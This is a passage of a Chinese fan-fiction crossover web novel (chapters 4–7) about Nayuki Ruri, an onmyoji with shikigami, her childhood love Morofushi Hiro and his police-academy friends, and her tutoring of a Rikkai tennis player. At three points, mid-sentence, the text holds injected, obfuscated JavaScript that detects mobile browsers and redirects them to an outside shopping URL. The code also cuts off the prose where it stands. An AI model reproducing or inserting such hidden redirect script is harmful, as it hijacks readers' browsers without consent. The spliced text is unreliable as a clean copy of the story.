松田阵平:“不过比起这个,重点不是应该是那个夜斗桑居然连着送了十多年的快递,那家伙明明看上去也就高中生的年纪吧,这么说的话,现在不是起码已经三十多岁了。” 相较而言,有恋爱对象的伊达航在关注点上显然和两人都不同:“粉玫瑰和满天星都长得很好呢,应该是名幸小姐送的吧。”毕竟是这种寓意的花呢。 提到名幸琉璃,诸伏景光眼底笑意更深:“琉璃酱对园艺很感兴趣,家里的阳台上也养了不少花。” 萩原研二打趣道:“难怪,诸伏你插花的手艺很熟练呢,这么说,花瓶里之前的花应该也都是名幸小姐送过来的吧。” 之前他就觉得有些奇怪,毕竟在众多警校生中,好像也只有小诸伏有这样的爱好。 毕竟平时练习就已经花了大家大量的精力,再加上现在在警校里这种鲜花本来也不好找,更别提他们几个开学不到半个月就被鬼冢教官罚了半个月的打扫浴室。 作为五人中唯二有女朋友的其中一位,伊达航对花这个话题难得地还挺感兴趣,看起来极为硬汉的脸上带着有些不好意思的笑容:“娜塔莉也很喜欢花卉呢。” 两人就花卉植物这个话题又有来有回地聊了起来。 而在诸伏景光将最上面最显眼的那一大束花拿开之后,自然而然的,下面的水果也露了出来。 除了这些水果,栗姬还放了一些的点心,是回来的时候从京都带的伴手礼,因为夜斗牌快递的速度之快,加上是店家现做的,此时这些点心上还带着热意,即使用纸袋装好也能闻到里面透出的甜甜的香气。 降谷零对这种场面已经很熟悉:“分量比以前多了不少,应该是因为hiro和名幸打电话的时候有提到在警校交了新朋友吧。” 在这之前,作为诸伏景光搬家后提到频率最高的朋友,也就只有降谷零有这个待遇了。 “还有不少是不太能放的呢,大家现在一起吃掉吧。”诸伏景光在看过之后也这么建议道。 虽然才开学不到一个月,但在经历了一系列事情之后五个人俨然比其他同学要亲近不少,在诸伏景光和降谷零都这么说完之后,剩下几人也没客气地从篮子里拿了自己想吃的。 “之前我就注意到了,按理来说小诸伏和小降谷零是从小认识的,小诸伏和名幸小姐是从小认识的,你们三个应该都是从小认识的,但是小降谷提到名幸小姐的时候就要显得生疏不少呢。” 萩原研二也是在这时提出自己有些好奇的这一点。 “因为我老家在长野那边,琉璃酱以前每年假期会到长野小住,我们也是因此认识的,至于zero则是在后来搬到东京认识的, 琉璃酱家在京都,其实我们后面也主要是靠写信保持联系的,只有学校放假的时候才能见到面。” 提到这个,降谷零也有些感慨。 “现在回想起来,虽然因为hiro的原因我一直知道名幸的存在,但第一次见面其实还是在上国中的时候名幸来东京找hiro,不过,hiro你其实在那之前就已经喜欢名幸了吧。” 结果后来居然到了高中毕业后才正式交往。 至于名幸,虽然一开始不是很熟,但认识一段时间后,明显也能看出她也喜欢hiro。 想到这两人那时候明明就互相喜欢,却还是声称 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013255|194158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是好朋友,关系时不时又亲近又疏远的,完了名幸还老是想和他争夺hiro最好的朋友的位置。 降谷零就忍不住想要叹气。 - 对于神明来讲,趁别人不注意溜走是格外容易的事情,而等到夜斗再回到名幸琉璃这边的时候,雪音已经顺利和她的几个式神打成一片了。 鹤丸桑看起来是个成年人性子却要跳脱一些,时不时提起一些比较轻松有趣的话题活跃气氛。 栗姬桑虽然看着不爱搭理人,却会给他好吃的点心,退酱的性格比较内向,对他来讲就是需要照顾的弟弟,还养着五只可爱的小猫。 看他们相处得不错,自觉自己的存在让雪音有些拘谨,名幸琉璃贴心地没有多插入话题,而是打开了兼职软件。 虽然她和hiro都不差钱,但因为看到过不少家教信息,加上同龄人里做家教兼职的也比较多,她不免对这种兼职有些好奇,也再网上找了找。 大学的家教兼职,以后会成为不错的回忆也说不定。 因为是第一次做家教,名幸琉璃还特意找了个年级比较低成绩比较差的,一有提升便很容易能看出来的孩子。 不出所料的,在给出东大优等生这种履历后,对面很快就通过了。 唯一的不足也只有地址是离东京稍远的神奈川,有大概四十几公里远这点。 但对于一个会短距离空间移动术式的除妖师来讲,也只是微不足道,最多也就是让名幸琉璃产生了一点要不要买辆车的犹豫。 毕竟相较于东京,神奈川其实也就是一个没注意可能会坐过站公交直达的距离。 因为是第一次做家教,虽然对自己的学识足够自信,名幸琉璃还谨慎地让对面先将学生最近几次的试卷发过来,打算对此多做一点准备。 然而在点开试卷后看到这几个只有个位数的分数,和那些写着错误答案的极为简单的题目时,从小都是优等生的名幸琉璃手指也不免停滞了一下。 哪怕是将卷子放在地上让小虎随意扒拉几道选择题,恐怕得的分也会比这高吧……? 压切长谷部立即关切道:“阿路基,有什么需要我为您效劳地吗?” 好在名幸琉璃很快缓过神来摆了摆手,语气有些无波无澜:“没有,只是被学生成绩水平惊讶到了。” “学生?不愧是阿路基,已经开始带学生了吗,如果有需要,还请让我来为您分忧吧。”压切长谷部一只手搭在胸前行礼,语气虔诚。 已经相处有两天的名幸琉璃倒是对这两把新来的刀剑性格有了一定的了解。 但是……,即使她自认为自己的意志力还挺坚定,被这么一直吹捧下去也难免会忍不住飘一飘吧。 夜斗就是在这个时候回来的,不走寻常路的神明直接从阳台一个翻身进来,直面了雪音和退一起分享点心的场面。 虽然看起来是十足的温馨,但夜斗的第一反应却是:“真是太过分了,雪音你这家伙居然吃独食!” 雪音被吓了一跳差点噎住,大口喝了口水咽下嘴里的点心后便露出半月眼:“什么啊,明明是你自己刷的一下就不见了好吗。” 名幸琉璃也稀奇地歪了歪头:“hiro居然没有留你下来吃东西吗?” 自从知道夜斗每次跑这么一趟只有五元收入后,每次他送东西过去,hiro可都是会多准备一些东西让夜斗带走,而且昨天她和hiro打电话的时候还听他说今天下午是难得的休息时间呢。 听到名幸琉璃的话,雪音再次吐槽:“什么嘛,原来正常来讲夜斗你过去那边本来也是能蹭吃蹭喝的啊。” 为什么加上个正常来讲呢,因为他知道如果夜斗成功吃上的话一定不会回来这么快,也不会对他吃点心反应这么大。 啊,这就是嫉妒的嘴脸。 果然,夜斗大声反驳:“什么叫蹭吃蹭喝,那是信徒给神明的上供,上供你懂吗,而且这次过去景光酱刚好在和新朋友一起,我可是什么都没吃上。” 说着,夜斗坐到雪音的旁边,拿起茶几上点心塞进嘴里,快速吃掉,像是要将落后于雪音的那几分钟补回来。 不出所料地遭到了点心的制作者栗姬面无表情地威胁:“点心,就是要慢慢品尝,你说是吗,夜斗大人?” 明明喊着大人,却完全听不出尊重的意味呢…… 5. 第 5 章 名幸琉璃现在正在神奈川立海大附中附近的一家咖啡馆中。 因为这次过来的目的只是给学生补习功课,加上算上鹤丸国永和压切长谷部后她的式神人数得到了成倍的壮大。 全都带上的话,即使一般人看不见,她对于出门时这么大阵仗也十分不习惯,但式神们对于让她单独一个人出门又十分不放心。 所以最后还是只带上了栗姬,留下三把刀剑在家里准备晚饭。 而之所以会是栗姬,其实也是比起其他刀剑,作为板栗花中诞生出的妖怪,可能是因为板栗花本身带有药用的价值,栗姬是少见的拥有治愈能力的妖怪。 虽然刚契约的时候名幸琉璃并不清楚栗姬有这项能力,但不可否认这为她提供了很多惊喜和便利。 至少在卷入一些关于妖怪的事情,或者进行阴阳师的修行时,她不用担心百合子阿姨、京子姐姐和京介叔叔他们会担心。 即使他们因为曾意外卷入父亲除妖的场面之中,早就知道这个世界存在着不为普通人所知的一面。 但如果可以,名幸琉璃还是更希望他们认为她只是个普通的比较调皮的孩子,而不用为未知的危险伤害到自己的孩子而感到担心。 回忆被靠近的脚步声打断,名幸琉璃抬头看去,那是一群穿着土黄色校服的少年,因为在来之前就在line上沟通过,她一眼就注意到了人群中那个显眼的海带头少年。 这就是她接下来要教的孩子吧,也就是那一堆个位数试卷的真正所有者。 只是扫了两眼,名幸琉璃向走在最前面的蓝紫色头发的男孩微笑致意,看起来,这才是这群学生中的领头人。 因为是第一次做家教,即使她对自己的学识十分自信,此时也不免多了几分紧张。 虽然从表面上完全看不出来就是了。 要知道,可是有不少人对名幸琉璃给出了‘无论做什么都游刃有余’这样的评价。 对此,和名幸琉璃对接的柳莲二,以及同样知情的幸村精市在心里感慨道:不愧是东都大学的高材生啊。 其实一开始他们只想找个普通的高中生或者大学生当赤也的家教老师,柳莲二甚至在收到名幸琉璃的简历后又确认了两遍。 以赤也那个让他们头疼的成绩,还有给出的只能说是正常的薪资…… 柳莲二都已经做好名幸小姐被气跑后,以此教育赤也,然后再找下一个老师的准备了。 而在因为好奇也跟过来的几人中,丸井文太还戳了戳旁边的桑原小声道:“总感觉赤也的这位家教老师有种很厉害的感觉啊,也不知道柳是从哪里找出来的。” 桑原胡狼还没有回答,就听旁边的仁王雅治悠悠道:“现在只希望海带不要把这个看起来还挺厉害的老师给气跑了就好。” 毕竟他们也都辅导过赤也的功课,清楚那是一个怎样痛苦的过程,也是因为这个,才有了这次帮赤也找个家教的举动。 切原赤也,在网球部招新时过来踢馆的一年级新生,因为出色的天赋让几位正选不免对他多了点关注。 然而在考虑如何将这位后辈培养起来的时候,立海大三巨头没有想到会先因为对方过于差劲的成绩被老师叫去谈话。 明明能够就读立海大就说明成绩应该还可以,这次摸底考试甚至离升学考试还没过多久,但对方就是考出了难以置信的个位数成绩。 为了避免之后因为成绩不被允许参赛,以及在经过了几天立海大正选轮流为其补课,在经历过一个接一个的破门而出的场面后,柳莲二当即在网上发布了家教招募信息。 而出于好奇,除了找家教这件事的主导人柳莲二以及推动这件事进行的幸村精市,立海大的其他几位选手也趁着部活结束过来看看情况了。 毕竟一旦没能找到合适的家教老师,为了保证之后比赛切原赤也的出场,他们就又要继续之前的痛苦。 一想到这,立海大的几位正选们就没有不关心这次家教面试情况的了。 清楚地听到几人的对话,前面的真田弦一郎脸色更黑:“真是太松懈了!” 结果因为声音太大,将咖啡厅其他人的目光的吸引了过来,前面的切原赤也更是条件反射的一抖。 见到几个国中生小孩这样生动的互动,名幸琉璃忍不住轻笑出声,一开始有些拘谨的气氛也缓和了不少。 作为网球部的代表之一,也是最开始和名幸琉璃联系的对象,由柳莲二简单交代了一下现在的情况,几人就在旁边的一张桌子上坐下了。 同为国中生,哪怕他们比切原要高一年级,但老师的讲课水平如何学生才是最听得出来的。 “因为从先前发过来的几张卷子来看,切原君的基础好像不是很好,那么我们就先从前面一点的部分开始吧。” 名幸琉璃委婉道,虽然立海大附中是神奈川的学校她没有过多了解,但像这种私立学校对升学考试的成绩好像还是有一定要求的吧。 也不知道现在考出这样成绩的切原君当时是怎么顺利进入立海大的。 不对,现在还没五月,切原君补的是国一的内容,也就是说才参加完升学考没多久吧,怎么会这么快就把知识点忘得差不多了。 从小一直是优等生的名幸琉璃其实有点不太理解,但还是将知识点讲得更加细致了。 在名幸琉璃试图让切原赤也理解课本上的内容时,作为立海大的军师,柳莲二也正拿着笔记本时不时记录些什么。 随着这节试讲课的结束,柳莲二收起笔记本,看向旁边的其他几人。 显然大家都挺认可名幸小姐的教学能力:“那么,接下来就麻烦您了。” 从一开始的不适应到后面的渐入佳境,得到继续聘用的准话之后名幸琉璃松了一口气,虽然她只是想体验一下家教工作,不过努力能得到认可无疑是让人高兴的。 “哪里,接下来也请多指教了,切原君。” 虽然对名幸琉璃的教学方式还算适应良好,但被灌了一脑袋知识后,切原赤也觉得自己现在有些昏昏沉沉的,听到名幸琉璃的话甚至都没反应过来:“什么?!等会还要继续吗?” “切原君还真是可爱,虽然很想把知识一次性教出去,但今天确实是已经结束了。” 结束了教学后,名幸琉璃的脸上又重新挂上了温和的笑容,但在此时的切原赤也看来,这副笑容不知道为什么和他最近看的漫画里的大反派的笑容重合在了一起。 只是碍于几位前辈在这里,才咽下了差点脱口而出的话。 但也又惹得旁边的真田弦一郎大声道:“实在太松懈了!” 他从柳那里听到,名幸小姐可是东大的高材生,刚才的课他们也一起听了。 讲得深入浅出,即使是他们这些高年级的学生,听完之后也感觉基础更加牢固,有了不少收获,结果赤也还这么迷迷糊糊的样子,实在是! 如果不是名幸琉璃还在这里,真田弦一郎估计已经使出他的铁拳制裁了。 补课时间是定在网球部部活结束之后,而立海大的训练时间本就长,在经过两个小时的补习时间之后天已经彻底暗了下来。 好在几个少年的家离这都不算远甚至有几个人回家都是顺路的,反倒是名幸琉璃,虽然已经是成年人了,但夜晚一个人回去看起来还是很危险的。 于是在结完账走出咖啡厅的时候,丸井文太便提议道:“名幸小姐家离这里远吗,不如我们送您一段吧。” 这么快就定下切原的老师这件事显然让网球部的几人都很高兴,不管怎么说补课这个包袱总算是丢出去了。 而平时就表现得比较开朗的丸井文太也是将心情好表现得最为明显的。 不过如果仔细观察过去就会发现,在听完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013256|194158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这节课之后这些穿着土黄色队服的少年或多或少都显现出了开心和放松的情绪。 当然,这里要排除被知识熏陶之后显得有些昏昏沉沉的切原赤也。 柳莲二收起笔记本,适时提到:“名幸小姐是东大的学生,现在应该是住在东京那边吧。” 东京离神奈川虽然算不上远,但也绝对是不近的,这也是收到名幸小姐简历后,他所诧异的另外一点。 “诶?!这么远的吗?”比起一直和名幸琉璃对接的柳莲二和提前了解过的幸村精市与真田弦一郎,其他几人还是刚知道这点。 只有切原赤也还不在状态:“东京算远吗?”他之前还好几次公交坐过站直接到东京那边去来着。 好在这次他直觉危险没有将后半句说出来。 “piyo~,说不定是因为小海带经常坐过站到东京,所以才觉得没那么远吧。”结果最后还是被仁王雅治半猜测地说出来了,得到了真田弦一郎更加黑色的脸色。 柳生比吕士推了推眼镜:“那么,我们先送名幸桑到车站那边吧。” 名幸琉璃正要婉拒,虽然这么说有点滥用能力的感觉,不过她要回家确实是比较方便的,至于遇到什么歹人。 别看她看起来还挺柔弱,怎么说也是位正儿八经的阴阳师,身体中所蕴含的力量可不像表面上那么简单。 “不用了,我……”然而刚开了个头,她便陡然间拉住另一边的幸村精市往后撤开一大步。 这样的变故让几人都不自觉地往幸村精市原本站着的地方看去,当然也包括幸村精市本人。 一瞬间的惊诧过后,蓝紫色头发的少年眉头微蹙又很快展露出微笑:“还要多谢名幸桑了,也不知道是哪里掉过来的石头,也许是年级低的孩子吧。” 这里是立海大附中的附近,附近带孩子的家庭更是不少,因此这个猜测还算是合理。 幸村精市说着,便蹲下身想要捡起这块石头,这石头不算小,现在天色又暗了下来,放着不管难免会有人被绊倒。 然而在他刚弯下腰,前面就伸出另一双素白的手,幸村精市顺着看过去,这位小姐就站在名幸桑旁边,手里拿着那块差点要砸到他的石头。 不知道是不是他的错觉,总觉得那石头好像抖了抖。 不过,这位小姐又是什么时候出现的呢? 幸村精市这才注意到自己的其他几个部员好像有点过于安静了。 柳莲二看似冷静道:“幸村在进行无实物表演的概率为6.51%。” 虽然天色暗了下来,但这地方刚好灯火明亮,在他们看来,幸村原本站着的地方显然是什么都没有的,更别提什么石头了。 “什么啊,居然连这个都看错了,明明根本就没有什么石头嘛。”单细胞生物小海带在后面探头探脑半天,完全没察觉气氛有什么不对地发出嘲笑。 再加上原本要拾取却突然顿住然后转移地视觉落点,柳莲二的大脑陷入了宕机状态,但在这种情况下却还是得出了另一组数据:“名幸桑是知情者的概率是87.56%。” 仁王雅治像是意识到了什么地戳了戳旁边的柳生比吕士,果不其然地已经完全僵住不动了呢。 “真是神奇啊,居然能报出这种数据,甚至都精确到小数点后两位了?” 幸村精市听到那位穿着淡黄色带栗子花花穗暗纹和服,其他人好像都看不到的,不知道是鬼怪还是什么生物的女士这么感慨道。 不过,这个和服暗纹……,会是栗子花的精灵吗? 这么说的话,他照顾的那些孩子们也会产生精灵吗?真是好奇啊…… 不知道是不是因为名幸小姐这个明显的知情人过于镇定的表情,即使意识到自己好像接触到了世界的另一面,幸村精市也很难产生紧张的情绪。 思绪反而变得有些天马行空了起来。 6. 第 6 章 ‘叮咚~’的门铃声响起。 “嗨!就来。”诸伏景光听到里面熟悉的声音响起,紧随着是越来越近的脚步声,还没看到人脸上就下意识地展露出笑容。 后面的四个人一阵小动作,降谷零和伊达航还好,一个早就认识,另一个则是现充二号,萩原研二对着松田阵平一阵挤眉弄眼,两人不知道在眼神交流些什么。 然而在大门被打开的一瞬间,四个人都摆回了正经表情收起了小动作:“打扰了!” 名幸琉璃捋了一下耳边垂下的长发,视线先是落在诸伏景光身上,只见她微微歪头笑了一下,然后对后面四人客气道:“欢迎,晚餐还差一点,请务必不要客气。” 虽然这么说,但其实就剩下装盘的工作,而且家里这么多式神在,尤其栗姬最擅长厨艺,名幸琉璃甚至连洗菜的任务都没抢到。 “我也来帮忙吧。”作为家里一贯的主厨,诸伏景光一进门就十分习惯地往厨房的方向去,没有想到菜品居然出乎意料的丰盛。 说起来还是第一次见到琉璃酱下厨,没想到厨艺也很厉害嘛,他记得小时候琉璃酱还在信里和他讲述过第一次下厨时不小心锅着火了的事情。 然而才刚闪过这样的念头,就听到名幸琉璃语气有些俏皮地解释:“hiro不会以为是我做的吧,这些可全部是栗姬的杰作哦,要是单凭借我自己的手艺,可不敢邀请你的朋友留下来吃饭。” 虽然并非像诸伏景光印象中那么厨房杀手,事实上名幸琉璃的手艺也就是勉强能吃的水平罢了。 听到栗姬这个名字诸伏景光才想起来: 这是琉璃酱家里的阿姨,印象中在琉璃酱不到十岁的时候就一直帮着照顾她的起居,他之前还以为对方是留在京都那边了。 其实之前听到琉璃酱让他邀请萩原他们的时候,还以为她会选择从饭店里打包一些菜品回来呢。 反正班长他们就算吃出来了,也不会说些什么的。 “栗姬女士的手艺吗,听你之前提到那么多次,我可以好好品尝一下了,要是有机会的话,还真想互相交流一下厨艺呢。” 即使琉璃酱对他的厨艺总是很捧场,但来自从小照顾她的栗姬女士的手艺,肯定也是占据了很高的地位。 虽然之前有特意去了解过京都那边的料理方法,但果然还是要和本人交流一下更好。 “这样嘛……”名幸琉璃眼神往就在外面的本人身上看了一眼,“倒是可以把栗姬的号码给你,但是先说好,栗姬可是很高冷的哦。” …… 此时客厅里的几人也在说话。 萩原研二打趣道:“原来小诸伏喜欢的是这种类型的啊。” 在霓虹,温婉类型的女性确实一直都是比较受欢迎的。 只是之前听小诸伏分享他们之前的某些事情时,还以为会是活泼一挂的。 看起来感情真的非常好呢,就像刚打开门那一下,明明只是对视了两秒就让他们有种自己太多余了的感觉。 他突然间有些怀疑今天过来凑热闹是不是个正确的选择了。 松田阵平一眼看出萩原研二在想什么,发出一声嘲笑:“说起来,对这件事最积极的不是hagi你吗。” 萩原研二往后微微一仰:“小阵平自己不是也挺感兴趣的吗,而且,和来小诸伏家做客相比,其实感觉还是偷偷围观他们约会更有意思。” 听到萩原研二的话,降谷零不自觉看了一眼伊达航,又很快有些心虚地将头转向一边。 显然,如果不是来hiro这边,他们几个是打算去看班长和娜塔莉小姐的约会的,毕竟听班长提到那么多次,难免有些好奇。 萩原研二在心里叹了口气:完全暴露了啊,小降谷。 好在伊达班长只是憨厚的笑笑,估计是早就料到了会有这种状况。 恰好这时诸伏景光和名幸琉璃端着菜出来,三人便得以顺利转移话题:“饭还有餐具就请让我们自己来吧。” 也就在此时,走在最后的松田阵平感觉窗户那边好像有什么大的东西一下掠了过去,在定睛看过去的时候又好像什么都没有。 见走在前面的萩原研二投来询问的目光,松田阵平摇了摇头示意自己没事。 但是……,刚才是看错了吗? 名幸琉璃不动声色地移开视线。 那是楼下的托尔桑吧。 小林桑有急需的文件忘记拿了吗?还是康娜酱那边的事情? ……都有些记不清这是第几次忘记用混淆魔法了,也不知道龙是不是都这么大大咧咧的。 没错,楼下的住户是龙这件事名幸琉璃在搬过来第二天就知道了,不仅是因为即使是异世界的龙也看不到妖怪,而名幸琉璃恰好和附近的妖怪关系都不错,更是因为偶尔总会有几件像今天这样的事情。 这也算是家学渊博吧,如果你起码有三分之二的祖先拥有要好的非人类朋友并留下了相应的记录记录,你对于楼下的一家三口也会无比习以为常。 只是来自异世界的龙罢了,和某些先祖记录下来的关于妖怪的狗血故事相比,根本算不上什么大事,甚至名幸琉璃已经就此写了好几页观察日记了。 也还好这次托尔的速度够快,不然这么多人在这,还不知道要怎么解释才好。 而此时,在普通人看不到的视角之中,压切长谷部、鹤丸国永也好奇地打量着诸伏景光——这位之前只听说过的男主人。 事实上,如果是第一任主人,刚获得人身不久的付丧神们或许还会对主人的伴侣略微有些小吃醋,但纵使外表年轻,距离三把刀剑来到名幸家也有近千年了。 在将名幸琉璃奉为主人的同时,他们或多或少还有点看小辈的感觉,更多关注的还是名幸琉璃本人的态度,基于这点甚至连品行能力方面也可以往后靠一靠。 用压切长谷部的话来讲:如果是阿路基的命令,就算是手刃家臣火烧寺庙这种脏活也无所谓。 在萩原研二几人做到饭桌上之后,四位式神也移到了沙发上坐下,仗着除了名幸琉璃这个主人没人能看到他们,光明正大地打量着诸伏景光。 “这么看着,这位诸伏大人和阿路基的感情确实挺不错。”鹤丸国永摸着下巴,虽然这么说,已经决定好趁这两天警校放假诸伏景光在家制造一些有趣的惊吓。 “反正要是负了阿路基的话,直接压切就好。”压切长谷部对主人的伴侣倒是始终态度如一,也幸好他跟过的名幸家几位主人伴侣感情都很不错,才没有给他下手的机会。 五虎退正在和周围围着的五只小老虎做叠高高的游戏,作为陪伴名幸琉璃时间最久的式神,也算作两人感情发展的见证者,他对诸伏景光应该是最看好的那一个: “景光大人是很温柔的人,上一任主人山泽大人走后琉璃大人能那么快振作起来也多亏了景光大人。” 因为担心名幸琉璃听到后触景生情,五虎退这句话的声音比平时还要小声,也就只有天生听觉灵敏的式神们能听到了。 也是这时,大抵是因为几位式神的眼神太过肆意,又或者是警校生对视线的感觉比较敏感。 诸伏景光总有种想要转头看看的冲动,可每次转过身后,后面又什么都没有。 注意到这点后,趁着某次大家说话的间隙,名幸琉璃微微转头看向沙发那边,露出一个灿烂微笑。 于是两刃心虚地别开头,同时小声地询问道:“上一任主人?” 这个问题还牵扯到羽衣狐诅咒的事情,最根源的来源也是发生在鹤丸殿和长谷部殿上次出来之后,加上现在的场合就更不好解释了,因此五虎退没有讲得太清楚,只是小声道: “就是琉璃大人的父亲,琉璃大人的父亲和母亲都很早就离开了,景光大人和琉璃大人是在很小的时候就认识了。” 本就对主人有着天然滤镜的两刃对名幸琉璃又蒙上了一层怜爱的滤镜,若不是现在场合不合适,都想冲上去再更多关怀关怀了。 …… 栗姬在名幸琉璃的式神中应该算作话最少的,因为早就见过诸伏景光也升不起什么兴趣,正安静看着阳台的花卉植物。 而看着看着,她突然间想起了那天跟着主人出去遇到的那群少年。 在意识到幸村精市的眼睛不知道是被那只差点砸中他的妖怪的气场影响了还是其他什么原因发生了一点异动之后,琉璃酱当即装作什么都没发生。 “那个……,这里离新干线算不上多远,我自己过去就好。” 这点还是和小时候一样,不过显然没起到什么作用。 即使因为某些信息的缺失暂且还有些迷茫,那个蓝紫色头发的少年也还是把握住最佳时机问道:“那么在走之前,名幸小姐能帮忙介绍一下旁边那位女士吗?” 那样子完全就是笃定了主人是知情者。 虽然后来推脱时间已经晚了,但琉璃小主人line上除了原本加过的名叫柳的少年和她那个笨笨的海带头学生,又被拉到了一个群聊之中。 想到这,栗姬不由得庆幸之前琉璃酱问她要不要也注册一个line的时候她拒绝了,不然肯定会被那群少年问东问西的。 虽然她和主人最开始的结缘就是源于还是孩子的主人的倾诉,但要她现在面对那些孩子你一句我一句的询问…… 呃,果然还是算了吧…… 又不是所有小孩都像琉璃酱小时候那么可爱。 看那边围成的两个小群体,栗姬稍微换了个姿势,继续窝在阳台的榻榻米上,思绪又不知道跑到哪里去了。 但与其说是插不进话,不如说她就是更喜欢一个人待着。加上脸上的厌世脸,更像是一个人孤立了全世界了。 此时在喝过一点酒后,餐桌上的氛围也逐渐被带了起来,萩原研二率先带头起哄。 “说起来,刚好名幸小姐也在这里,小诸伏不如分享一下感情经历,你和名幸小姐是谁先动心的。” 清楚这几个好友就是想看热闹,诸伏景光有些无奈,但也早就料到会有这样的场景了。 更别提旁边的琉璃酱也跟着露出了十分期待的表情,迫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17013257|194158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不及待地先开口了: “嗯……,其实要说什么时候动心的也很含糊,可能是国三的时候吧,毕竟是从小认识的,情感的变化其实也不太容易意识到,现在想起来,还真是青涩的回忆啊。” 降谷零瞬间明了,同时也额头上出现黑线。 因为他和hiro都在东京上学,从小同进同出,对于hiro什么时候对名幸有了那种感情,他大概也比较清楚。 但是……,明明两个人都这么早就有那种感情了,为什么偏偏折腾到高中毕业才在一起! 难怪在很早之前,每次hiro邀请名幸,名幸邀请他们的时候,他都有种气氛怪怪的感觉。 萩原研二揶揄地看了诸伏景光一眼。 虽然他不清楚里面有什么细节,但以他对小诸伏的了解,他更像是擅长温水煮青蛙的追求手段的。 所以合理猜测,名幸小姐的动心是不是也有小诸伏的一点小心思在里面。 松田阵平完全没听出什么,甚至感慨了一句:“那还真是很巧啊,这么说景老板和名幸小姐说不准还是差不多同时对对方动心的。” 同样没有多想的是一发现自己喜欢娜塔莉就去告白了,然后很顺利地抱得美人归的伊达航。 诸伏景光微笑着否认了松田阵平的猜想:“这么说的话,动心这点应该还是我比较早。” 诸伏景光说这话的时候是对着名幸琉璃的,说完之后耳朵有些微红地想要偏过头,最后却还是继续注视着名幸琉璃道:“毕竟琉璃酱一直都很优秀,我们又从小就认识,会动心也是很正常的吧。” 他其实一直很庆幸小时候喜欢在家后面的后山玩,才没能错过和琉璃酱的第一次见面。 当时名幸琉璃带着名幸叔叔过来时刚好遇到拿着刀闯进来的外守大叔,即使后来因此搬家到东京,也可能是因为那瞬间的光影,那段时间名幸琉璃在幼年的诸伏景光心中是就像天使一样的存在。 加上后面两人一直都保持着书信联系,虽然见面的次数不多,但面对这样优秀而闪耀的琉璃酱,在产生男女差别的意识后,喜欢上琉璃酱也只是自然而然的事情。 诸伏景光的语气不好意思中还带着点感慨,而被这一难得的直球击中,名幸琉璃的眼神也更加闪亮。 四目相对之间,来做客的四人瞬间觉得自己更加多余起来了。 不,也许还是有点作用的。 内心甜滋滋的名幸琉璃转头给了一开始起哄问出问题的萩原研二一个赞赏肯定的眼神,继而又有些好奇:“既然hiro那么早就喜欢我,为什么会选择在高中毕业后表白。” 毕竟霓虹的早恋现象非常普遍,就算他们初中的时候就交往了,其实在众多早恋的同学当中也没有很显眼。 虽然也有她那时候有所顾虑,所以特意托着不肯戳破,但都已经保持那种微妙的关系整整三年,为什么hiro会突然选择在高三毕业的时候告白呢? 都已经结婚了,对这个问题,这么问题倒也没什么好遮掩的: “这个的话……,其实还要感谢山崎君,如果不是看到他向你表白,也许还是会一直困在‘失败了就连朋友都没法做’的想法中。” 即使这样,等待回复的那天晚上他也失眠了一夜。 毕竟那时候琉璃酱的态度一直很让他拿不准啊……,每次觉得琉璃酱对他好像也是有那种情感的后,很快又会因为某些契机,而感受到那好像只是对朋友对哥哥的感情。 名幸琉璃努力思索了半分钟,虽然感觉她们学校还挺多山崎君的,但她印象里好像没有和她说过话的山崎君…… 不过,因为当时高中马上要毕业,那时候向她告白的同学好像还挺多的,虽然她一个都想不起来。 而且比起完全不记得的山崎君,名幸琉璃觉得她和hiro间最大的威胁应该是降谷才对。 要问为什么的话,当初因为那件事hiro得了失语症,诸伏家为了更好的医疗资源搬家到了东京,也是那之后认识了降谷,hiro能摆脱那个阴影也要多亏了降谷当时的陪伴。 虽然很感谢降谷那时候对hiro的陪伴,她对降谷的人品也很认可,所谓hiro生命中的光降谷绝对也算一道的,但按照hiro刚才的说法…… 也就是说按照这个套路,如果降谷是女性的话,hiro和降谷…… 名幸琉璃的眼神逐渐危险起来了,她不由得警惕地看了一眼坐在诸伏景光另一边的降谷零,得到对方莫名地回望。 萩原研二没忍住笑出了声:“噗~” “怎么回事,hagi你这家伙莫名奇妙就笑出来了。” 相信我小阵平,如果你看出来了会笑得更大声,萩原研二因为正忙着让自己笑得没那么坏气氛,只给了松田阵平一个眼神,不过显然他没有看懂:“眼睛抽筋了吗?” 萩原研二没有解释,又小声感慨道:“虽然小诸伏看上去挺温吞的,这种时候倒是挺直接的嘛,如果是小阵平被问到这种问题的话……” “喂,hagi!” 7. 第 7 章 吃过晚饭后又喝了一点酒,名幸琉璃和诸伏景光在门口送走四位警校生。 